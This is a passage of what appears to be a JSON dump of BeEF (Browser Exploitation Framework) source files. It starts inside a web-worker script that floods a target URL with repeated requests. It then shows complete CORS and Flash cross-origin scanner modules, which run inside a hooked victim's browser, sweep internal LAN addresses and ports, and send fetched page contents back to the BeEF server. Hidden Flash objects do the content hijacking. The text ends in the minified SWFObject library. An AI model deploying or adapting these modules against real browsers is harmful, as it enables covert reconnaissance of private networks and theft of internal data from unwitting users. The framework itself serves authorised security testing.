    "content": "var url = \"\";\nvar delay = 0;\nvar method = \"\";\nvar post_data = \"\";\nvar counter = 0;\n\nonmessage = function (oEvent) {\n url = oEvent.data['url'];\n delay = oEvent.data['delay'];\n method = oEvent.data['method'];\n post_data = oEvent.data['post_data'];\n doRequest();\n};\n\nfunction noCache(u){\n var result = \"\";\n if(u.indexOf(\"?\") > 0){\n  result = \"&\" + Date.now() + Math.random();\n }else{\n  result = \"?\" + Date.now() + Math.random();\n }\n return result;\n}\n\nfunction doRequest(){\n setInterval(function(){\n\n  var xhr = new XMLHttpRequest();\n  xhr.open(method, url + noCache(url));\n  xhr.setRequestHeader('Accept','*/*');\n  xhr.setRequestHeader(\"Accept-Language\", \"en\");\n  if(method == \"POST\"){\n    xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n    xhr.send(post_data);\n  }else{\n    xhr.send(null);\n  }\n  counter++;\n\n },delay);\n\n setInterval(function(){\n postMessage(\"Requests sent: \" + counter);\n },10000);\n}"
  },
  {
    "path": "modules/network/cross_origin_scanner_cors/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var ips = new Array();\n  var ipRange = \"<%= @ipRange %>\";\n  var ports   = \"<%= @ports %>\";\n  var threads = parseInt(\"<%= @threads %>\", 10);\n  var timeout = parseInt(\"<%= @timeout %>\", 10)*1000;\n  var wait    = parseInt(\"<%= @wait %>\", 10)*1000;\n\n  if(!beef.browser.hasCors()) {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());\n    return;\n  }\n\n  // set target ports\n  if (ports != null) {\n    ports = ports.split(',');\n  }\n\n  // set target IP addresses\n  if (ipRange == 'common') {\n    // use default IPs\n    ips = [\n      '192.168.0.1',\n      '192.168.0.100',\n      '192.168.0.254',\n      '192.168.1.1',\n      '192.168.1.100',\n      '192.168.1.254',\n      '10.0.0.1',\n      '10.1.1.1',\n      '192.168.2.1',\n      '192.168.2.254',\n      '192.168.100.1',\n      '192.168.100.254',\n      '192.168.123.1',\n      '192.168.123.254',\n      '192.168.10.1',\n      '192.168.10.254'\n    ];\n  } else {\n    // set target IP range\n    var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n    if (range == null || range[1] == null) {\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=malformed IP range supplied\", beef.are.status_error());\n      return;\n    }\n    // ipRange will be in the form of 192.168.0.1-192.168.0.254\n    // the fourth octet will be iterated.\n    // (only C class IP ranges are supported atm)\n    ipBounds   = ipRange.split('-');\n    lowerBound = ipBounds[0].split('.')[3];\n    upperBound = ipBounds[1].split('.')[3];\n    for (var i = lowerBound; i <= upperBound; i++){\n      ipToTest = ipBounds[0].split('.')[0]+\".\"+ipBounds[0].split('.')[1]+\".\"+ipBounds[0].split('.')[2]+\".\"+i;\n      ips.push(ipToTest);\n    }\n  }\n\n  WorkerQueue = function(frequency) {\n\n    var stack = [];\n    var timer = null;\n    var frequency = frequency;\n    var start_scan = (new Date).getTime();\n\n    this.process = function() {\n      var item = stack.shift();\n      eval(item);\n      if (stack.length === 0) {\n        clearInterval(timer);\n        timer = null;\n        var interval = (new Date).getTime() - start_scan;\n        beef.debug(\"[Cross-Origin Scanner (CORS)] Worker queue is complete [\"+interval+\" ms]\");\n        return;\n      }\n    }\n\n    this.queue = function(item) {\n      stack.push(item);\n      if (timer === null) {\n        timer = setInterval(this.process, frequency);\n      }\n    }\n\n  }\n\n  beef.debug(\"[Cross-Origin Scanner (CORS)] Starting scan (\"+(ips.length*ports.length)+\" URLs / \"+threads+\" workers)\");\n\n  // create worker queue\n  var workers = new Array();\n  for (w=0; w < threads; w++) {\n    workers.push(new WorkerQueue(wait));\n  }\n\n  // send CORS request to each IP\n  for (var i=0; i < ips.length; i++) {\n    var worker = workers[i % threads];\n    for (var p=0; p < ports.length; p++) {\n      if (ports[p] == '443') var proto = 'https'; else var proto = 'http';\n      var url = proto + '://' + ips[i] + ':' + ports[p];\n      worker.queue('beef.debug(\"[Cross-Origin Scanner (CORS)] Fetching URL: '+url+'\");' +\n      'beef.net.cors.request(' +\n      '\"GET\", \"'+url+'\", \"\", '+timeout+', function(response) {' +\n       'if (response != null && response[\"status\"] != 0) {' +\n        'beef.debug(\"[Cross-Origin Scanner (CORS)] Received response from '+url+': \" + JSON.stringify(response));' +\n        'var title = response[\"body\"].match(\"<title>(.*?)<\\\\/title>\"); if (title != null) title = title[1];' +\n        'beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status=\"+response[\"status\"]+\"&title=\"+title+\"&response=\"+JSON.stringify(response), beef.are.status_success());' +\n       '}' +\n      '});'\n      );\n    }\n  }\n\n});\n\n"
  },
  {
    "path": "modules/network/cross_origin_scanner_cors/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        cross_origin_scanner_cors:\n            enable: true\n            category: \"Network\"\n            name: \"Cross-Origin Scanner (CORS)\"\n            description: \"Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.\"\n            authors: [\"bcoles\"]\n            # http://caniuse.com/cors\n            target:\n                working: [\"ALL\"]\n                not_working:\n                    # CORS is partially supported on IE 8 & 9\n                    IE:\n                        min_ver: 6\n                        max_ver: 7\n                    O:\n                        min_ver: 1\n                        max_ver: 11\n                    C:\n                        min_ver: 1\n                        max_ver: 3\n                    S:\n                        min_ver: 1\n                        max_ver: 3\n                    F:\n                        min_ver: 1\n                        max_ver: 3\n"
  },
  {
    "path": "modules/network/cross_origin_scanner_cors/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cross_origin_scanner_cors < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^proto=(https?)&ip=(.+)&port=(\\d+)&status/\n\n    # log the network service\n    proto = Regexp.last_match(1)\n    ip = Regexp.last_match(2)\n    port = Regexp.last_match(3)\n    type = 'HTTP Server (CORS)'\n    session_id = @datastore['beefhook']\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found HTTP server #{ip}:#{port}\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type)\n    end\n  end\n\n  def self.options\n    [\n      { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254' },\n      { 'name' => 'ports',   'ui_label' => 'Ports', 'value' => '80,8080' },\n      { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2' },\n      { 'name' => 'wait',    'ui_label' => 'Wait (s) between each request for each worker', 'value' => '2' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/network/cross_origin_scanner_flash/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var ips = new Array();\n  var ipRange = \"<%= @ipRange %>\";\n  var ports   = \"<%= @ports %>\";\n  var threads = parseInt(\"<%= @threads %>\", 10);\n  var timeout = parseInt(\"<%= @timeout %>\", 10)*1000;\n\n  // check if Flash is installed (not always reliable)\n  if(!beef.browser.hasFlash()) {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error());\n    return;\n  }\n\n  // set target ports\n  if (ports != null) {\n    ports = ports.split(',');\n  }\n\n  // set target IP addresses\n  if (ipRange == 'common') {\n    // use default IPs\n    ips = [\n      '192.168.0.1',\n      '192.168.0.100',\n      '192.168.0.254',\n      '192.168.1.1',\n      '192.168.1.100',\n      '192.168.1.254',\n      '10.0.0.1',\n      '10.1.1.1',\n      '192.168.2.1',\n      '192.168.2.254',\n      '192.168.100.1',\n      '192.168.100.254',\n      '192.168.123.1',\n      '192.168.123.254',\n      '192.168.10.1',\n      '192.168.10.254'\n    ];\n  } else {\n    // set target IP range\n    var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n    if (range == null || range[1] == null) {\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=malformed IP range supplied\", beef.are.status_error());\n      return;\n    }\n    // ipRange will be in the form of 192.168.0.1-192.168.0.254\n    // (only C class IP ranges are supported atm)\n    ipBounds   = ipRange.split('-');\n    lowerBound = ipBounds[0].split('.')[3];\n    upperBound = ipBounds[1].split('.')[3];\n    for (var i = lowerBound; i <= upperBound; i++){\n      ipToTest = ipBounds[0].split('.')[0]+\".\"+ipBounds[0].split('.')[1]+\".\"+ipBounds[0].split('.')[2]+\".\"+i;\n      ips.push(ipToTest);\n    }\n  }\n\n  // configure workers\n  WorkerQueue = function(id, frequency) {\n    var stack = [];\n    var timer = null;\n    var frequency = frequency;\n    var start_scan = (new Date).getTime();\n    this.process = function() {\n      var item = stack.shift();\n      eval(item);\n      if (stack.length === 0) {\n        clearInterval(timer);\n        timer = null;\n        var interval = (new Date).getTime() - start_scan;\n        beef.debug(\"[Cross-Origin Scanner (Flash)] Worker #\"+id+\" has finished [\"+interval+\" ms]\");\n        return;\n      }\n    }\n    this.queue = function(item) {\n      stack.push(item);\n      if (timer === null) timer = setInterval(this.process, frequency);\n    }\n  }\n\n  // load the SWF object from the BeEF server\n  // then request the specified URL via Flash\n  var scanUrl = function(proto, host, port) {\n    beef.debug('[Cross-Origin Scanner (Flash)] Creating Flash object...');\n    var placeholder_id = Math.random().toString(36).substring(2,10);\n    div = document.createElement('div');\n    div.setAttribute('id', placeholder_id);\n    div.setAttribute('style', 'visibility: hidden');\n    $j('body').append(div);\n\n    try {\n    swfobject.embedSWF(\n      beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/ContentHijacking.swf',\n      placeholder_id,\n      \"1\",   // Width\n      \"1\",   // Height\n      \"9\",   // Flash version required. Hard-coded to 9+ for no real reason. Tested on Flash 12.\n      false, // Don't prompt user to install Flash\n      {},    // FlashVars\n      {'AllowScriptAccess': 'always'},\n      {id: 'cross_origin_flash_'+placeholder_id, width: 1, height: 1, 'style': 'visibility: hidden', 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'},\n      function (e) {\n        if (e.success) { \n          // 200 millisecond delay due to Flash executing the callback with a success event\n          // even though the object is not yet ready to expose its methods to JS\n          setTimeout(function(){\n            var url = 'http://'+host+':'+port+'/';\n            beef.debug(\"[Cross-Origin Scanner (Flash)] Fetching URL: \" + url);\n            var objCaller = document.getElementById('cross_origin_flash_'+placeholder_id);\n            try {\n            objCaller.GETURL('function(data) { '+\n              'var proto = \"http\";' +\n              'var host = \"'+host+'\";' +\n              'var port = \"'+port+'\";' +\n              'var data = unescape(data);' +\n              'beef.debug(\"[Cross-Origin Scanner (Flash)] Received data [\"+host+\":\"+port+\"]: \" + data);' +\n\n              'if (data.match(\"securityErrorHandler\")) {' +\n              '  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"ip=\"+host+\"&status=alive\", beef.are.status_success());' +\n              '}' +\n\n              'if (!data.match(\"Hijacked Contents:\")) return;' +\n              'var response = data.replace(/^Hijacked Contents:\\\\r\\\\n/);' +\n\n              'var title = \"\";' +\n              'if (response.match(\"<title>(.*?)<\\\\/title>\")) {' +\n              '  title = response.match(\"<title>(.*?)<\\\\/title>\")[1];' +\n              '}' +\n\n              'beef.debug(\"proto=\"+proto+\"&ip=\"+host+\"&port=\"+port+\"&title=\"+title+\"&response=\"+response);' +\n              'beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"proto=\"+proto+\"&ip=\"+host+\"&port=\"+port+\"&title=\"+title+\"&response=\"+response, beef.are.status_success());' +\n            ' }', url);\n            } catch(e) {\n              beef.debug(\"[Cross-Origin Scanner (Flash)] Could not create object: \" + e.message);\n            }\n          }, 200);\n        } else if (e.error) {\n          beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object');\n        } else beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object. Perhaps Flash is not installed?');\n      });\n      // Remove the SWF object from the DOM after <timeout> seconds\n      // this also kills the outbound connections from the SWF object\n      setTimeout('try { document.body.removeChild(document.getElementById(\"cross_origin_flash_'+placeholder_id+'\")); } catch(e) {}', timeout);\n    } catch (e) {\n      beef.debug(\"[Cross-Origin Scanner (Flash)] Something went horribly wrong creating the Flash object with swfobject: \" + e.message);\n    } \n    beef.debug(\"[Cross-Origin Scanner (Flash)] Waiting for the flash object to load...\");\n  }\n\n  // append SWFObject script\n  $j('body').append('<scr'+'ipt type=\"text/javascript\" src=\"'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js\"></scr'+'ipt>');\n\n  // create workers\n  beef.debug(\"[Cross-Origin Scanner (Flash)] Starting scan (\"+(ips.length*ports.length)+\" URLs / \"+threads+\" workers)\");\n  var workers = new Array();\n  for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, timeout));\n\n  // allocate jobs to workers\n  for (var i = 0; i < ips.length; i++) {\n    var worker = workers[i % threads];\n    for (var p = 0; p < ports.length; p++) {\n      var host = ips[i];\n      var port = ports[p];\n      if (port == '443') var proto = 'https'; else var proto = 'http';\n      worker.queue(\"scanUrl('\"+proto+\"', '\"+host+\"', '\"+port+\"');\");\n    }\n  }\n\n});\n\n"
  },
  {
    "path": "modules/network/cross_origin_scanner_flash/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        cross_origin_scanner_flash:\n            enable: true\n            category: \"Network\"\n            name: \"Cross-Origin Scanner (Flash)\"\n            description: \"This module scans an IP range to locate web servers with a permissive Flash cross-origin policy. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.<br/><br/>This module uses ContentHijacking.swf from <a href='https://github.com/nccgroup/CrossSiteContentHijacking'>CrossSiteContentHijacking</a> by Soroush Dalili (@irsdl).\"\n            authors: [\"bcoles\", \"@irsdl\"]\n            target:\n                working: [\"C\", \"FF\"]\n                not_working: [\"IE\", \"S\", \"O\"]\n"
  },
  {
    "path": "modules/network/cross_origin_scanner_flash/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cross_origin_scanner_flash < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_cached('/modules/network/cross_origin_scanner_flash/ContentHijacking.swf', '/objects/ContentHijacking', 'swf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_cached('/modules/network/cross_origin_scanner_flash/swfobject.js', '/swfobject', 'js')\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    session_id = @datastore['beefhook']\n\n    # log discovered hosts\n    case @datastore['results']\n    when /^ip=(.+)&status=alive$/\n      ip = Regexp.last_match(1)\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found host #{ip}\")\n        BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip)\n      end\n    # log discovered network services\n    when /^proto=(.+)&ip=(.+)&port=(\\d+)&title/\n      proto = Regexp.last_match(1)\n      ip = Regexp.last_match(2)\n      port = Regexp.last_match(3)\n      type = 'HTTP Server (Flash)'\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found HTTP server #{ip}:#{port}\")\n        BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type)\n      end\n    end\n  end\n\n  def self.options\n    [\n      { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254' },\n      { 'name' => 'ports',   'ui_label' => 'Ports', 'value' => '80,8080' },\n      { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '5' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/network/cross_origin_scanner_flash/swfobject.js",
    "content": "/*\tSWFObject v2.2 <http://code.google.com/p/swfobject/> \n\tis released under the MIT License <http://www.opensource.org/licenses/mit-license.php> \n*/\nvar swfobject=function(){var D=\"undefined\",r=\"object\",S=\"Shockwave Flash\",W=\"ShockwaveFlash.ShockwaveFlash\",q=\"application/x-shockwave-flash\",R=\"SWFObjectExprInst\",x=\"onreadystatechange\",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\\/(\\d+(\\.\\d+)?).*$/,\"$1\")):false,X=!+\"\\v1\",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\\s+(\\S+\\s+\\S+$)/,\"$1\");ag[0]=parseInt(ab.replace(/^(.*)\\..*$/,\"$1\"),10);ag[1]=parseInt(ab.replace(/^.*\\.(.*)\\s.*$/,\"$1\"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,\"$1\"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable(\"$version\");if(ab){X=true;ab=ab.split(\" \")[1].split(\",\");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState==\"complete\")||(typeof j.readyState==D&&(j.getElementsByTagName(\"body\")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener(\"DOMContentLoaded\",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState==\"complete\"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll(\"left\")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName(\"body\")[0].appendChild(C(\"span\"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener(\"load\",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener(\"load\",Y,false)}else{if(typeof O.attachEvent!=D){i(O,\"onload\",Y)}else{if(typeof O.onload==\"function\"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName(\"body\")[0];var aa=C(r);aa.setAttribute(\"type\",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable(\"$version\");if(ab){ab=ab.split(\" \")[1].split(\",\");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute(\"width\")||\"0\";ai.height=ae.getAttribute(\"height\")||\"0\";if(ae.getAttribute(\"class\")){ai.styleclass=ae.getAttribute(\"class\")}if(ae.getAttribute(\"align\")){ai.align=ae.getAttribute(\"align\")}var ah={};var X=ae.getElementsByTagName(\"param\");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute(\"name\").toLowerCase()!=\"movie\"){ah[X[ad].getAttribute(\"name\")]=X[ad].getAttribute(\"value\")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName==\"OBJECT\"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F(\"6.0.65\")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName==\"OBJECT\"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width=\"310\"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height=\"137\"}j.title=j.title.slice(0,47)+\" - Flash Player Installation\";var ad=M.ie&&M.win?\"ActiveX\":\"PlugIn\",ac=\"MMredirectURL=\"+O.location.toString().replace(/&/g,\"%26\")+\"&MMplayerType=\"+ad+\"&MMdoctitle=\"+j.title;if(typeof ab.flashvars!=D){ab.flashvars+=\"&\"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C(\"div\");X+=\"SWFObjectNew\";Y.setAttribute(\"id\",X);ae.parentNode.insertBefore(Y,ae);ae.style.display=\"none\";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C(\"div\");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display=\"none\";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C(\"div\");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName==\"PARAM\")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah=\"\";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()==\"data\"){ag.movie=ai[ae]}else{if(ae.toLowerCase()==\"styleclass\"){ah+=' class=\"'+ai[ae]+'\"'}else{if(ae.toLowerCase()!=\"classid\"){ah+=\" \"+ae+'=\"'+ai[ae]+'\"'}}}}}var af=\"\";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name=\"'+ad+'\" value=\"'+ag[ad]+'\" />'}}aa.outerHTML='<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"'+ah+\">\"+af+\"</object>\";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute(\"type\",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()==\"styleclass\"){Z.setAttribute(\"class\",ai[ac])}else{if(ac.toLowerCase()!=\"classid\"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!=\"movie\"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C(\"param\");aa.setAttribute(\"name\",X);aa.setAttribute(\"value\",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName==\"OBJECT\"){if(M.ie&&M.win){X.style.display=\"none\";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]==\"function\"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(\".\");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName(\"head\")[0];if(!aa){return}var X=(ad&&typeof ad==\"string\")?ad:\"screen\";if(ab){n=null;G=null}if(!n||G!=X){var Z=C(\"style\");Z.setAttribute(\"type\",\"text/css\");Z.setAttribute(\"media\",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+\" {\"+Y+\"}\"))}}}function w(Z,X){if(!m){return}var Y=X?\"visible\":\"hidden\";if(J&&c(Z)){c(Z).style.visibility=Y}else{v(\"#\"+Z,\"visibility:\"+Y)}}function L(Y){var Z=/[\\\\\\\"<>\\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent(\"onunload\",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+=\"\";ag+=\"\";var aj={};if(af&&typeof af===r){for(var al in 